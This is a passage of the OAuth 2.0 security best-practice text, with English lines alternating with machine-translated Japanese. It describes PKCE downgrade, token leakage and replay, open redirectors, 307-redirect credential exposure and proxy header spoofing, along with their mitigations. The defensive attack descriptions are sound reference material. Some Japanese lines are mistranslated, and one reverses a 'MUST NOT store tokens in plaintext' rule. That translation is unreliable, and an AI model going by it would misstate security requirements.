この攻撃の最初の前提条件は、特定のフローに対してPKCEを有効または無効にする認可要求に攻撃者管理可能なフラグがあることです。code_challengeパラメーターの有無は、この目的のためにそれ自体を提供します。つまり、認可サーバーは、このパラメーターが認可要求に存在する場合、PKCEを有効にして実施しますが、パラメーターが欠落している場合はPKCEを強制しません。
The second prerequisite for this attack is that the client is not using state at all (e.g., because the client relies on PKCE for CSRF prevention) or that the client is not checking state correctly.
この攻撃の2番目の前提条件は、クライアントが状態をまったく使用していないこと（たとえば、クライアントがCSRF予防のためにPKCEに依存しているため）、またはクライアントが状態を正しくチェックしていないことです。
Roughly speaking, this attack is a variant of a CSRF attack. The attacker achieves the same goal as in the attack described in Section 4.7: The attacker injects an authorization code (and with that, an access token) that is bound to the attacker's resources into a session between their victim and the client.
大まかに言えば、この攻撃はCSRF攻撃のバリアントです。攻撃者は、セクション4.7で説明されている攻撃と同じ目標を達成します。攻撃者は、攻撃者のリソースに縛られている認証コード（およびそれに伴い、アクセストークン）を、被害者とクライアントの間のセッションに注入します。
1. The user has started an OAuth session using some client at an authorization server. In the authorization request, the client has set the parameter code_challenge=hash(abc) as the PKCE code challenge (with the hash function and parameter encoding as defined in [RFC7636]). The client is now waiting to receive the authorization response from the user's browser.
1. ユーザーは、認可サーバーでクライアントを使用してOAuthセッションを開始しました。認可要求では、クライアントはパラメーターcode_challenge = hash（abc）をPKCEコードチャレンジとして設定しています（[RFC7636]で定義されているハッシュ関数とパラメーターエンコードを使用）。クライアントは現在、ユーザーのブラウザから認可応答を受信するのを待っています。
2. To conduct the attack, the attacker uses their own device to start an authorization flow with the targeted client. The client now uses another PKCE code challenge, say, code_challenge=hash(xyz), in the authorization request. The attacker intercepts the request and removes the entire code_challenge parameter from the request. Since this step is performed on the attacker's device, the attacker has full access to the request contents, for example, using browser debug tools.
2. 攻撃を実施するために、攻撃者は独自のデバイスを使用して、ターゲットを絞ったクライアントとの認可フローを開始します。クライアントは、認可リクエストで、別のPKCEコードチャレンジ、たとえばCode_Challenge = hash（XYZ）を使用するようになりました。攻撃者はリクエストを傍受し、リクエストからcode_challengeパラメーター全体を削除します。このステップは攻撃者のデバイスで実行されるため、攻撃者は、たとえばブラウザーデバッグツールを使用して、要求コンテンツに完全にアクセスできます。
3. If the authorization server allows for flows without PKCE, it will create a code that is not bound to any PKCE code challenge.
3. Authorization ServerがPKCEなしでフローを許可する場合、PKCEコードチャレンジにバインドされていないコードが作成されます。
4. The attacker now redirects the user's browser to an authorization response URL that contains the code for the attacker's session with the authorization server.
4. 攻撃者は、ユーザーのブラウザを、Authorization Serverでの攻撃者のセッションのコードを含む認可応答URLにリダイレクトします。
5. The user's browser sends the authorization code to the client, which will now try to redeem the code for an access token at the authorization server. The client will send code_verifier=abc as the PKCE code verifier in the token request.
5. ユーザーのブラウザは、認可コードをクライアントに送信します。クライアントは、認証サーバーでのアクセストークンのコードを引き換えようとします。クライアントは、トークンリクエストのPKCEコード検証としてcode_verifier = abcを送信します。
6. Since the authorization server sees that this code is not bound to any PKCE code challenge, it will not check the presence or contents of the code_verifier parameter. It will issue an access token (which belongs to the attacker's resource) to the client under the user's control.
6. Authorization Serverは、このコードがPKCEコードチャレンジに拘束されていないことを確認しているため、code_verifierパラメーターの存在または内容を確認しません。ユーザーの制御下でクライアントにアクセストークン（攻撃者のリソースに属する）を発行します。
Using state properly would prevent this attack. However, practice has shown that many OAuth clients do not use or check state properly.
状態を適切に使用すると、この攻撃が防止されます。ただし、練習により、多くのOAuthクライアントが状態を適切に使用または確認しないことが示されています。
Therefore, authorization servers MUST mitigate this attack.
したがって、認可サーバーはこの攻撃を軽減する必要があります。
Note that from the view of the authorization server, in the attack described above, a code_verifier parameter is received at the token endpoint although no code_challenge parameter was present in the authorization request for the OAuth flow in which the authorization code was issued.
上記の攻撃では、認可サーバーのビューから、トークンエンドポイントでcode_verifierパラメーターが受信されますが、code_challengeパラメーターは認可コードが発行されたOAuthフローの認可要求に存在していませんでした。
This fact can be used to mitigate this attack. [RFC7636] already mandates that
この事実は、この攻撃を軽減するために使用できます。[RFC7636]はすでにそれを義務付けています
* an authorization server that supports PKCE MUST check whether a code challenge is contained in the authorization request and bind this information to the code that is issued; and
* PKCEをサポートする認可サーバーは、Code Challengeが認可要求に含まれているかどうかを確認し、この情報を発行されたコードにバインドする必要があります。そして
* when a code arrives at the token endpoint, and there was a code_challenge in the authorization request for which this code was issued, there must be a valid code_verifier in the token request.
* コードがトークンのエンドポイントに到着し、このコードが発行された認可要求にcode_challengeがあった場合、トークンリクエストに有効なcode_verifierが必要です。
Beyond this, to prevent PKCE downgrade attacks, the authorization server MUST ensure that if there was no code_challenge in the authorization request, a request to the token endpoint containing a code_verifier is rejected.
これを超えて、PKCEのダウングレード攻撃を防ぐために、認可サーバーは、認可要求にcode_challengeがない場合、code_verifierを含むトークンエンドポイントへのリクエストが拒否されることを保証する必要があります。
Authorization servers that mandate the use of PKCE (in general or for particular clients) implicitly implement this security measure.
PKCE（一般的または特定のクライアントに）の使用を義務付ける認可サーバーは、このセキュリティ尺度を暗黙的に実装します。
Access tokens can leak from a resource server under certain circumstances.
アクセストークンは、特定の状況下でリソースサーバーからリークできます。
An attacker may set up their own resource server and trick a client into sending access tokens to it that are valid for other resource servers (see Attackers (A1) and (A5) in Section 3). If the client sends a valid access token to this counterfeit resource server, the attacker in turn may use that token to access other services on behalf of the resource owner.
攻撃者は、独自のリソースサーバーを設定し、クライアントをだまして、他のリソースサーバーに有効なアクセストークンを送信することができます（セクション3の攻撃者（A1）および（A5）を参照）。クライアントがこの偽造リソースサーバーに有効なアクセストークンを送信した場合、攻撃者はそのトークンを使用して、リソース所有者に代わって他のサービスにアクセスできます。
This attack assumes the client is not bound to one specific resource server (and its URL) at development time, but client instances are provided with the resource server URL at runtime. This kind of late binding is typical in situations where the client uses a service implementing a standardized API (e.g., for email, calendaring, eHealth, or open banking) and where the client is configured by a user or administrator.
この攻撃により、クライアントは開発時に1つの特定のリソースサーバー（およびそのURL）にバインドされていないと想定していますが、クライアントインスタンスは実行時にリソースサーバーのURLが提供されます。この種の遅い拘束力は、クライアントが標準化されたAPIを実装するサービス（電子メール、カレンダー、eHealth、またはオープンバンキングなど）を使用し、クライアントがユーザーまたは管理者によって構成されている状況で典型的な状況です。
An attacker may compromise a resource server to gain access to the resources of the respective deployment. Such a compromise may range from partial access to the system, e.g., its log files, to full control over the respective server, in which case all controls can be circumvented and all resources can be accessed. The attacker would also be able to obtain other access tokens held on the compromised system that would potentially be valid to access other resource servers.
攻撃者は、リソースサーバーを侵害して、それぞれの展開のリソースにアクセスできます。このような妥協点は、システムへの部分的なアクセスから、例えばそのログファイル、それぞれのサーバーに対する完全な制御まで、すべてのコントロールを回避でき、すべてのリソースにアクセスできます。また、攻撃者は、侵害されたシステムに保持されている他のアクセストークンを取得することができ、他のリソースサーバーにアクセスするために有効になる可能性があります。
Preventing server breaches by hardening and monitoring server systems is considered a standard operational procedure and, therefore, out of the scope of this document. Section 4.9 focuses on the impact of OAuth-related breaches and the replaying of captured access tokens.
サーバーシステムの硬化と監視によるサーバーの侵害を防ぐことは、標準的な運用手順と見なされるため、このドキュメントの範囲外です。セクション4.9では、OAuth関連違反の影響と、キャプチャされたアクセストークンのリプレイに焦点を当てています。
The following measures should be taken into account by implementers in order to cope with access token replay by malicious actors:
悪意のある俳優によるアクセストークンリプレイに対処するために、以下の措置を実装者が考慮する必要があります。
* Sender-constrained access tokens, as described in Section 4.10.1, SHOULD be used to prevent the attacker from replaying the access tokens on other resource servers. If an attacker has only partial access to the compromised system, like a read-only access to web server logs, sender-constrained access tokens may also prevent replay on the compromised system.
* セクション4.10.1で説明されているように、送信者に制約のあるアクセストークンは、攻撃者が他のリソースサーバーのアクセストークンを再生するのを防ぐために使用する必要があります。攻撃者がWebサーバーログへの読み取り専用アクセスのように、侵害されたシステムへの部分的なアクセスのみを持っている場合、送信者に制約のあるアクセストークンは、侵害されたシステムのリプレイを妨げる可能性があります。
* Audience restriction as described in Section 4.10.2 SHOULD be used to prevent replay of captured access tokens on other resource servers.
* セクション4.10.2で説明されているように、他のリソースサーバー上のキャプチャされたアクセストークンのリプレイを防ぐために、オーディエンスの制限を使用する必要があります。
* The resource server MUST treat access tokens like other sensitive secrets and not store or transfer them in plaintext.
* リソースサーバーは、アクセストークンを他の機密シークレットと同様に扱い、プレーンテキストに保存または転送する必要はありません。
The first and second recommendations also apply to other scenarios where access tokens leak (see Attacker (A5) in Section 3).
最初と2番目の推奨事項は、アクセストークンリーク（セクション3の攻撃者（A5）を参照）を参照する他のシナリオにも適用されます。
Access tokens can be stolen by an attacker in various ways, for example, via the attacks described in Sections 4.1, 4.2, 4.3, 4.4, and 4.9. Some of these attacks can be mitigated by specific security measures, as described in the respective sections. However, in some cases, these measures are not sufficient or are not implemented correctly. Authorization servers therefore SHOULD ensure that access tokens are sender-constrained and audience-restricted as described in the following. Architecture and performance reasons may prevent the use of these measures in some deployments.
アクセストークンは、たとえば、セクション4.1、4.2、4.3、4.4、および4.9で説明されている攻撃など、さまざまな方法で攻撃者によって盗まれる可能性があります。これらの攻撃のいくつかは、それぞれのセクションで説明されているように、特定のセキュリティ対策によって軽減できます。ただし、場合によっては、これらの測定値は十分ではないか、正しく実装されていません。したがって、認可サーバーは、以下で説明されているように、アクセストークンが送信者に制約され、オーディエンス制限されたものであることを確認する必要があります。アーキテクチャとパフォーマンスの理由により、一部の展開でのこれらの測定値の使用が妨げられる場合があります。
As the name suggests, sender-constrained access tokens scope the applicability of an access token to a certain sender. This sender is obliged to demonstrate knowledge of a certain secret as a prerequisite for the acceptance of that token at a resource server.
名前が示すように、送信者に制約のあるアクセストークンは、特定の送信者へのアクセストークンの適用性を範囲します。この送信者は、リソースサーバーでのトークンを受け入れるための前提条件として、特定の秘密の知識を示す義務があります。
A typical flow looks like this:
典型的なフローは次のようになります：
1. The authorization server associates data with the access token that binds this particular token to a certain client. The binding can utilize the client's identity, but in most cases, the authorization server utilizes key material (or data derived from the key material) known to the client.
1. Authorization Serverは、この特定のトークンを特定のクライアントにバインドするアクセストークンにデータを関連付けます。バインディングはクライアントの身元を利用できますが、ほとんどの場合、認証サーバーはクライアントに既知のキー資料（または重要な資料から派生したデータ）を利用します。
2. This key material must be distributed somehow. Either the key material already exists before the authorization server creates the binding or the authorization server creates ephemeral keys. The way preexisting key material is distributed varies among the different approaches. For example, X.509 certificates can be used, in which case the distribution happens explicitly during the enrollment process. Or, the key material is created and distributed at the TLS layer, in which case it might automatically happen during the setup of a TLS connection.
2. この重要な資料は、どういうわけか分布する必要があります。認可サーバーがバインディングを作成するか、認可サーバーが一時的なキーを作成する前に、キー資料が既に存在しています。既存の重要な素材の分布方法は、さまざまなアプローチによって異なります。たとえば、X.509証明書を使用できます。この場合、登録プロセス中に分布が明示的に発生します。または、キーマテリアルが作成され、TLSレイヤーに配布されます。この場合、TLS接続のセットアップ中に自動的に発生する可能性があります。
3. The resource server must implement the actual proof-of-possession check. This is typically done on the application level, often tied to specific material provided by the transport layer (e.g., TLS). The resource server must also ensure that a replay of the proof of possession is not possible.
3. リソースサーバーは、実際のプルーフオブポッセッションチェックを実装する必要があります。これは通常、アプリケーションレベルで行われ、多くの場合、輸送層（TLSなど）によって提供される特定の材料に結び付けられています。また、リソースサーバーは、所有証明のリプレイが不可能であることを確認する必要があります。
Two methods for sender-constrained access tokens using proof of possession have been defined by the OAuth working group and are in use in practice:
所有証明を使用した送信者制約のアクセストークンの2つの方法は、OAuthワーキンググループによって定義されており、実際に使用されています。
* "OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens" [RFC8705]: The approach specified in this) document allows the use of mutual TLS for both client authentication and sender-constrained access tokens. For the purpose of sender-constrained access tokens, the client is identified towards the resource server by the fingerprint of its public key. During the processing of an access token request, the authorization server obtains the client's public key from the TLS stack and associates its fingerprint with the respective access tokens. The resource server in the same way obtains the public key from the TLS stack and compares its fingerprint with the fingerprint associated with the access token.
* 「OAuth 2.0相互TLSクライアント認証と証明書バウンドアクセストークン」[RFC8705]：これで指定されたアプローチは、クライアント認証と送信者に制約のあるアクセストークンの両方に相互TLSを使用できます。Sender-Constrained Access Tokenの目的のために、クライアントは公開鍵の指紋によってリソースサーバーに向かって識別されます。アクセストークンリクエストの処理中、Authorization ServerはTLSスタックからクライアントの公開キーを取得し、その指紋をそれぞれのアクセストークンに関連付けます。同じようにリソースサーバーは、TLSスタックから公開キーを取得し、その指紋とアクセストークンに関連付けられた指紋と比較します。
* "OAuth 2.0 Demonstrating Proof of Possession (DPoP)" [RFC9449]: DPoP outlines an application-level mechanism for sender-constraining access and refresh tokens. It uses proof-of-possession based on a public/private key pair and application-level signing. DPoP can be used with public clients and, in the case of confidential clients, can be combined with any client authentication method.
* 「OAuth 2.0所有証明の実証（DPOP）」[RFC9449]：DPOPは、送信者制約アクセスとリフレッシュトークンのアプリケーションレベルのメカニズムの概要を示しています。パブリック/プライベートキーペアとアプリケーションレベルの署名に基づいて、Proof-of-Possessionを使用します。DPOPはパブリッククライアントと一緒に使用でき、Confidential Clientの場合、クライアント認証方法と組み合わせることができます。
Note that the security of sender-constrained tokens is undermined when an attacker gets access to the token and the key material. This is, in particular, the case for corrupted client software and cross-site scripting attacks (when the client is running in the browser). If the key material is protected in a hardware or software security module or only indirectly accessible (like in a TLS stack), sender-constrained tokens at least protect against the use of the token when the client is offline, i.e., when the security module or interface is not available to the attacker. This applies to access tokens as well as to refresh tokens (see Section 4.14).
攻撃者がトークンと主要な資料にアクセスできるようになったとき、送信者に制約のあるトークンのセキュリティが損なわれることに注意してください。特に、これは、破損したクライアントソフトウェアとクロスサイトスクリプト攻撃の場合です（クライアントがブラウザで実行されているとき）。キー資料がハードウェアまたはソフトウェアセキュリティモジュールで保護されているか、間接的にアクセス可能な場合（TLSスタックのように）、送信者が制約したトークンは、クライアントがオフラインであるとき、つまりセキュリティモジュールの場合、少なくともトークンの使用から保護します。または、攻撃者がインターフェイスを使用できません。これは、トークンにアクセスするだけでなく、トークンを更新することにも当てはまります（セクション4.14を参照）。
Audience restriction essentially restricts access tokens to a particular resource server. The authorization server associates the access token with the particular resource server, and the resource server is then supposed to verify the intended audience. If the access token fails the intended audience validation, the resource server refuses to serve the respective request.
オーディエンスの制限は、基本的にアクセストークンを特定のリソースサーバーに制限します。Authorization Serverは、アクセストークンを特定のリソースサーバーに関連付け、リソースサーバーは対象となるオーディエンスを確認することになっています。アクセストークンが意図したオーディエンスの検証に失敗した場合、リソースサーバーはそれぞれのリクエストを提供することを拒否します。
In general, audience restriction limits the impact of token leakage. In the case of a counterfeit resource server, it may (as described below) also prevent abuse of the phished access token at the legitimate resource server.
一般に、視聴者の制限はトークン漏洩の影響を制限します。偽造リソースサーバーの場合、正当なリソースサーバーでのフィッシュアクセストークンの乱用を防ぐこともできます。
The audience can be expressed using logical names or physical addresses (like URLs). To prevent phishing, it is necessary to use the actual URL the client will send requests to. In the phishing case, this URL will point to the counterfeit resource server. If the attacker tries to use the access token at the legitimate resource server (which has a different URL), the resource server will detect the mismatch (wrong audience) and refuse to serve the request.
聴衆は、論理名または物理アドレス（URLなど）を使用して表現できます。フィッシングを防ぐには、クライアントがリクエストを送信する実際のURLを使用する必要があります。フィッシングの場合、このURLは偽造リソースサーバーを指します。攻撃者が正当なリソースサーバー（異なるURLを持つ）でアクセストークンを使用しようとする場合、リソースサーバーは不一致（間違った視聴者）を検出し、リクエストの提供を拒否します。
In deployments where the authorization server knows the URLs of all resource servers, the authorization server may just refuse to issue access tokens for unknown resource server URLs.
Authorization ServerがすべてのリソースサーバーのURLを知っている展開では、認証サーバーは、不明なリソースサーバーURLのアクセストークンを発行することを拒否する場合があります。
For this to work, the client needs to tell the authorization server the intended resource server. The mechanism in [RFC8707] can be used for this or the information can be encoded in the scope value (Section 3.3 of [RFC6749]).
これが機能するためには、クライアントは認可サーバーに意図したリソースサーバーを伝える必要があります。[RFC8707]のメカニズムは、このために使用できます。または、情報をスコープ値（[RFC6749]のセクション3.3）でエンコードできます。
Instead of the URL, it is also possible to utilize the fingerprint of the resource server's X.509 certificate as the audience value. This variant would also allow detection of an attempt to spoof the legitimate resource server's URL by using a valid TLS certificate obtained from a different CA. It might also be considered a privacy benefit to hide the resource server URL from the authorization server.
URLの代わりに、Resource ServerのX.509証明書の指紋を視聴者価値として利用することもできます。このバリアントは、別のCAから取得した有効なTLS証明書を使用して、合法的なリソースサーバーのURLをスプーフィングしようとする試みを検出することもできます。また、認証サーバーからリソースサーバーのURLを非表示にするためのプライバシー利益と見なされる場合があります。
Audience restriction may seem easier to use since it does not require any cryptography on the client side. Still, since every access token is bound to a specific resource server, the client also needs to obtain a single resource server-specific access token when accessing several resource servers. (Resource indicators, as specified in [RFC8707], can help to achieve this.) [TOKEN-BINDING] had the same property since different token-binding IDs must be associated with the access token. Using mutual TLS for OAuth 2.0 [RFC8705], on the other hand, allows a client to use the access token at multiple resource servers.
クライアント側に暗号化を必要としないため、オーディエンスの制限は使いやすいように思えるかもしれません。それでも、すべてのアクセストークンは特定のリソースサーバーにバインドされているため、クライアントは複数のリソースサーバーにアクセスするときに単一のリソースサーバー固有のアクセストークンを取得する必要があります。（[RFC8707]で指定されているように、リソースインジケーターは、これを達成するのに役立ちます。）[トークンバインディング]は、異なるトークンバインディングIDはアクセストークンに関連付けられている必要があるため、同じ特性がありました。一方、OAuth 2.0 [RFC8705]に相互TLSを使用すると、クライアントは複数のリソースサーバーでアクセストークンを使用できます。
It should be noted that audience restrictions -- or, generally speaking, an indication by the client to the authorization server where it wants to use the access token -- have additional benefits beyond the scope of token leakage prevention. They allow the authorization server to create a different access token whose format and content are specifically minted for the respective server. This has huge functional and privacy advantages in deployments using structured access tokens.
オーディエンスの制限 - または一般的に言えば、アクセストークンを使用したい認可サーバーへのクライアントによる兆候 - は、トークン漏洩防止の範囲を超えて追加の利点があることに注意する必要があります。Authorization Serverは、それぞれのサーバー用に形式とコンテンツが特別に造られている別のアクセストークンを作成できます。これには、構造化されたアクセストークンを使用した展開において、機能的およびプライバシーの大きな利点があります。
An authorization server could provide the client with additional information about the locations where it is safe to use its access tokens. This approach, and why it is not recommended, is discussed in the following.
Authorization Serverは、アクセストークンを使用しても安全な場所に関する追加情報をクライアントに提供できます。このアプローチ、およびそれが推奨されない理由については、以下で説明します。
In the simplest form, this would require the authorization server to publish a list of its known resource servers, illustrated in the following example using a non-standard Authorization Server Metadata parameter resource_servers:
最も単純な形式では、これには、非標準認証サーバーMetadata Parameter Resource_Serversを使用して、次の例に示されている既知のリソースサーバーのリストを認証サーバーに公開する必要があります。
HTTP/1.1 200 OK
Content-Type: application/json
{
"issuer":"https://server.somesite.example",
"authorization_endpoint":
"https://server.somesite.example/authorize",
"resource_servers":[
"email.somesite.example",
"storage.somesite.example",
"video.somesite.example"
]
...
}
The authorization server could also return the URL(s) an access token is good for in the token response, illustrated by the example and non-standard return parameter access_token_resource_server:
Authorization Serverは、URLを返すこともできます。アクセストークンは、例と非標準のリターンパラメーターAccess_TOKEN_RESOURCE_SERVERで説明されています。
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"2YotnFZFEjr1zCsicMWpAA",
"access_token_resource_server":
"https://hostedresource.somesite.example/path1",
...
}
This mitigation strategy would rely on the client to enforce the security policy and to only send access tokens to legitimate destinations. Results of OAuth-related security research (see, for example, [research.ubc] and [research.cmu]) indicate a large portion of client implementations do not or fail to properly implement security controls, like state checks. So, relying on clients to prevent access token phishing is likely to fail as well. Moreover, given the ratio of clients to authorization and resource servers, it is considered the more viable approach to move as much as possible security-related logic to those servers. Clearly, the client has to contribute to the overall security. However, there are alternative countermeasures, as described in Sections 4.10.1 and 4.10.2, that provide a better balance between the involved parties.
この緩和戦略は、セキュリティポリシーを実施し、アクセストークンを正当な目的地に送信するためにクライアントに依存します。OAuth関連のセキュリティ調査の結果（たとえば、[Research.UBC]および[Research.CMU]を参照）は、クライアントの実装の大部分が、状態チェックのようなセキュリティ制御を適切に実装しないことを示していることを示しています。そのため、アクセストークンフィッシングを防ぐためにクライアントに依存することも失敗する可能性があります。さらに、クライアントと認可およびリソースサーバーの比率を考えると、これらのサーバーにセキュリティ関連のロジックをできる限り移動するためのより実行可能なアプローチと考えられています。明らかに、クライアントは全体的なセキュリティに貢献する必要があります。ただし、セクション4.10.1および4.10.2で説明されているように、関係者間のバランスを改善する代替の対策があります。
The following attacks can occur when an authorization server or client has an open redirector. Such endpoints are sometimes implemented, for example, to show a message before a user is then redirected to an external website, or to redirect users back to a URL they were intending to visit before being interrupted, e.g., by a login prompt.
認可サーバーまたはクライアントにオープンリダイレクターがある場合、次の攻撃が発生する可能性があります。このようなエンドポイントは、たとえば、ユーザーが外部Webサイトにリダイレクトされる前にメッセージを表示するか、ユーザーをログインプロンプトなどで中断する前に訪問する前にユーザーをリダイレクトするために実装されることがあります。
Clients MUST NOT expose open redirectors. Attackers may use open redirectors to produce URLs pointing to the client and utilize them to exfiltrate authorization codes and access tokens, as described in Section 4.1.2. Another abuse case is to produce URLs that appear to point to the client. This might trick users into trusting the URL and following it in their browser. This can be abused for phishing.
クライアントは、オープンリダイレクターを公開してはなりません。攻撃者は、セクション4.1.2で説明されているように、オープンリダイレクターを使用してクライアントを指すURLを生成し、クライアントを指すURLを生成し、認可コードとアクセストークンを利用することができます。別の虐待のケースは、クライアントを指すように見えるURLを生成することです。これにより、ユーザーはURLを信頼し、ブラウザでそれに従うようになります。これはフィッシングのために乱用することができます。
In order to prevent open redirection, clients should only redirect if the target URLs are allowed or if the origin and integrity of a request can be authenticated. Countermeasures against open redirection are described by OWASP [owasp.redir].
オープンリダイレクトを防ぐために、クライアントはターゲットURLが許可されている場合、またはリクエストの起源と整合性を認証できる場合にのみリダイレクトする必要があります。オープンリダイレクトに対する対策は、OWASP [owasp.redir]によって説明されています。
Just as with clients, attackers could try to utilize a user's trust in the authorization server (and its URL in particular) for performing phishing attacks. OAuth authorization servers regularly redirect users to other websites (the clients), but they must do so safely.
クライアントと同様に、攻撃者は、フィッシング攻撃を実行するために、認証サーバー（およびそのURL）に対するユーザーの信頼を利用しようとすることができます。OAuth Authorizationサーバーは、ユーザーを他のWebサイト（クライアント）に定期的にリダイレクトしますが、安全にそうする必要があります。
Section 4.1.2.1 of [RFC6749] already prevents open redirects by stating that the authorization server MUST NOT automatically redirect the user agent in case of an invalid combination of client_id and redirect_uri.
[RFC6749]のセクション4.1.2.1は、client_idとredirect_uriの無効な組み合わせの場合、認証サーバーがユーザーエージェントを自動的にリダイレクトしてはならないことを述べることにより、オープンリダイレクトを既に防止しています。
However, an attacker could also utilize a correctly registered redirection URI to perform phishing attacks. The attacker could, for example, register a client via dynamic client registration [RFC7591] and execute one of the following attacks:
ただし、攻撃者は、正しく登録されたリダイレクトURIを利用してフィッシング攻撃を実行することもできます。たとえば、攻撃者は、ダイナミッククライアント登録[RFC7591]を介してクライアントを登録し、次のいずれかの攻撃を実行できます。
1. Intentionally send an erroneous authorization request, e.g., by using an invalid scope value, thus instructing the authorization server to redirect the user agent to its phishing site.
1. 無効なスコープ値を使用して、誤った認可リクエストを意図的に送信し、ユーザーエージェントをフィッシングサイトにリダイレクトするように認可サーバーに指示します。
2. Intentionally send a valid authorization request with client_id and redirect_uri controlled by the attacker. After the user authenticates, the authorization server prompts the user to provide consent to the request. If the user notices an issue with the request and declines the request, the authorization server still redirects the user agent to the phishing site. In this case, the user agent will be redirected to the phishing site regardless of the action taken by the user.
2. 攻撃者が制御するclient_idおよびredirect_uriを使用して、有効な認可要求を意図的に送信します。ユーザーが認証した後、認可サーバーはユーザーにリクエストに同意を提供するように促します。ユーザーがリクエストの問題に気付いてリクエストを拒否した場合、認可サーバーはユーザーエージェントをフィッシングサイトにリダイレクトします。この場合、ユーザーエージェントは、ユーザーが取ったアクションに関係なくフィッシングサイトにリダイレクトされます。
3. Intentionally send a valid silent authentication request (prompt=none) with client_id and redirect_uri controlled by the attacker. In this case, the authorization server will automatically redirect the user agent to the phishing site.
3. 攻撃者によって制御されたClient_IDおよびRedirect_URIを使用して、有効なサイレント認証要求（PROMPT = NONE）を意図的に送信します。この場合、認可サーバーは、ユーザーエージェントをフィッシングサイトに自動的にリダイレクトします。
The authorization server MUST take precautions to prevent these threats. The authorization server MUST always authenticate the user first and, with the exception of the silent authentication use case, prompt the user for credentials when needed, before redirecting the user. Based on its risk assessment, the authorization server needs to decide whether or not it can trust the redirection URI. It could take into account URI analytics done internally or through some external service to evaluate the credibility and trustworthiness of content behind the URI, and the source of the redirection URI and other client data.
認可サーバーは、これらの脅威を防ぐために予防策を講じなければなりません。Authorization Serverは、最初にユーザーを常に認証する必要があり、サイレント認証ユースケースを除き、ユーザーをリダイレクトする前に、必要に応じてユーザーに資格情報を求めます。リスク評価に基づいて、認可サーバーは、リダイレクトURIを信頼できるかどうかを決定する必要があります。URIの背後にあるコンテンツの信頼性と信頼性、およびリダイレクトURIおよびその他のクライアントデータのソースを評価するために、内部または外部サービスを通じて行われるURI分析を考慮することができます。
The authorization server SHOULD only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision.
Authorization Serverは、リダイレクトURIを信頼している場合にのみ、ユーザーエージェントを自動的にリダイレクトする必要があります。URIが信頼されていない場合、認可サーバーはユーザーに通知し、ユーザーに正しい決定を下すために頼ることができます。
At the authorization endpoint, a typical protocol flow is that the authorization server prompts the user to enter their credentials in a form that is then submitted (using the HTTP POST method) back to the authorization server. The authorization server checks the credentials and, if successful, redirects the user agent to the client's redirection endpoint.
Authorization Endpointでは、典型的なプロトコルフローは、認証サーバーがユーザーに、[HTTP POSTメソッドを使用して）認可サーバーに送信されるフォームで資格情報を入力するようにユーザーに促すことです。Authorization Serverは資格情報をチェックし、成功した場合、ユーザーエージェントをクライアントのリダイレクトエンドポイントにリダイレクトします。
In [RFC6749], the HTTP status code 302 (Found) is used for this purpose, but "any other method available via the user-agent to accomplish this redirection is allowed". When the status code 307 is used for redirection instead, the user agent will send the user's credentials via HTTP POST to the client.
[RFC6749]では、HTTPステータスコード302（見つかります）がこの目的に使用されますが、「このリダイレクトを達成するためにユーザーエージェントを介して利用可能な他の方法が許可されています」。代わりにリダイレクトにステータスコード307が使用される場合、ユーザーエージェントはHTTP投稿を介してユーザーの資格情報をクライアントに送信します。
This discloses the sensitive credentials to the client. If the client is malicious, it can use the credentials to impersonate the user at the authorization server.
これにより、敏感な資格情報がクライアントに開示されます。クライアントが悪意を持っている場合、資格情報を使用して、Authorization Serverでユーザーになりすまします。
The behavior might be unexpected for developers but is defined in Section 15.4.8 of [RFC9110]. This status code (307) does not require the user agent to rewrite the POST request to a GET request and thereby drop the form data in the POST request body.
動作は開発者にとって予想外かもしれませんが、[RFC9110]のセクション15.4.8で定義されています。このステータスコード（307）では、ユーザーエージェントがPOSTリクエストをGETリクエストに書き換えて、POSTリクエスト本体のフォームデータを削除する必要はありません。
In the HTTP standard [RFC9110], only the status code 303 unambiguously enforces rewriting the HTTP POST request to an HTTP GET request. For all other status codes, including the popular 302, user agents can opt not to rewrite POST to GET requests, thereby causing the user's credentials to be revealed to the client. (In practice, however, most user agents will only show this behavior for 307 redirects.)
HTTP標準[RFC9110]では、ステータスコード303のみがHTTP POSTリクエストをHTTP GETリクエストに書き換えることを明確に強制します。人気302を含む他のすべてのステータスコードについて、ユーザーエージェントはリクエストを取得するために投稿を書き換えないことを選択できます。これにより、ユーザーの資格情報がクライアントに明らかになります。（ただし、ほとんどのユーザーエージェントは、307のリダイレクトに対してこの動作のみを表示します。）
Authorization servers that redirect a request that potentially contains the user's credentials therefore MUST NOT use the HTTP 307 status code for redirection. If an HTTP redirection (and not, for example, JavaScript) is used for such a request, the authorization server SHOULD use HTTP status code 303 (See Other).
したがって、ユーザーの資格情報を潜在的に含むリクエストをリダイレクトする認可サーバーしたがって、リダイレクトにHTTP 307ステータスコードを使用してはなりません。HTTPリダイレクト（たとえば、JavaScriptなどではない）がそのような要求に使用されている場合、認可サーバーはHTTPステータスコード303を使用する必要があります（その他を参照）。
A common deployment architecture for HTTP applications is to hide the application server behind a reverse proxy that terminates the TLS connection and dispatches the incoming requests to the respective application server nodes.
HTTPアプリケーションの一般的な展開アーキテクチャは、TLS接続を終了し、着信要求をそれぞれのアプリケーションサーバーノードにディスパッチする逆プロキシの背後にアプリケーションサーバーを非表示にすることです。
This section highlights some attack angles of this deployment architecture with relevance to OAuth and gives recommendations for security controls.
このセクションでは、OAuthに関連するこの展開アーキテクチャの攻撃角度を強調し、セキュリティ管理に関する推奨事項を提供します。
In some situations, the reverse proxy needs to pass security-related data to the upstream application servers for further processing. Examples include the IP address of the request originator, token-binding IDs, and authenticated TLS client certificates. This data is usually passed in HTTP headers added to the upstream request. While the headers are often custom, application-specific headers, standardized header fields for client certificates and client certificate chains are defined in [RFC9440].
状況によっては、逆プロキシは、さらに処理するためにセキュリティ関連のデータをアップストリームアプリケーションサーバーに渡す必要があります。例には、リクエストオリジネーターのIPアドレス、トークンバインディングID、および認証されたTLSクライアント証明書が含まれます。このデータは通常、上流のリクエストに追加されたHTTPヘッダーで渡されます。多くの場合、ヘッダーはカスタム、アプリケーション固有のヘッダー、クライアント証明書用の標準化されたヘッダーフィールド、およびクライアント証明書チェーンが[RFC9440]で定義されています。
If the reverse proxy passes through any header sent from the outside, an attacker could try to directly send the faked header values through the proxy to the application server in order to circumvent security controls that way. For example, it is standard practice of reverse proxies to accept X-Forwarded-For headers and just add the origin of the inbound request (making it a list). Depending on the logic performed in the application server, the attacker could simply add an allowed IP address to the header and render the protection useless.
